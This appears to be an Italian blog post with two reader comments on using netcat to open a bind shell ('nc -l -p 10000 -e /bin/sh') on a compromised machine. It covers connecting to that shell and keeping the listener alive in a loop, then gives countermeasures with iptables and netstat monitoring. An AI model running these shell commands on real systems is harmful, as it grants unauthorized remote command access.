Ipotizziamo di riuscire ad eseguire un comando su una macchina remota (buffer overflow, vulnerabilità web...):
nc -vv -l -p 10000 -e /bin/sh
Questo comando utilizza netcat, il coltellino svizzero del tcp/ip (come viene chiamato). Non fa altro che rimanere in ascolto (-l) sulla porta 10000 (-p) ed eseguire un comando (-e). In questo caso, esegue una shell di comando. Inutile dire che se eseguito come root, avrete da remoto i diritti dell'amministratore...
Per provarla, basta collegarsi da un'altro computer (o dallo stesso se volete testarlo in locale, aprite un'altra scheda nel terminale) e digitare:
nc -vv localhost 10000
Il (-vv) è il very verbose, utile ma non indispensabile. Certo, la shell è molto stupida (non ha colori; non riesce a ricevere input dopo l'esecuzione del comando, ad esempio premere la barra durante il comando more). Però funziona ;-)
Contromisure: creare delle regole iptables che mantengano tutte le porte esterne chiuse (tranne quelle usate dai servizi indispensabili: la 80 per un server web ad esempio, rimarrà aperta).
E' anche possibile creare uno script (eseguibile periodicamente via cron) che controlli le connessioni aperte. Per visualizzarle infatti è disponibile il comando:
netstat -an
In questo modo è possibile controllare le socket connected e listen ;-)
PS: dopo aver terminato la prima connessione alla shell remota, quest'ultima si chiuderà. Per far si che rimanga aperta, bisogna creare uno script apposito...google docet ;-)
2 commenti:
ciao Stefano, la maniera più pratica per far si che la connessione non cada è:
while :; do nc -l -p 10000; done
in realtà qui la connessione cade, solo che è sostituita on-the-fly da una nuova connessione.
--
Filippo
Bravo hai anticipato l'ultimo podcast di CeSeNA che parla proprio di questo tips :-D
Posta un commento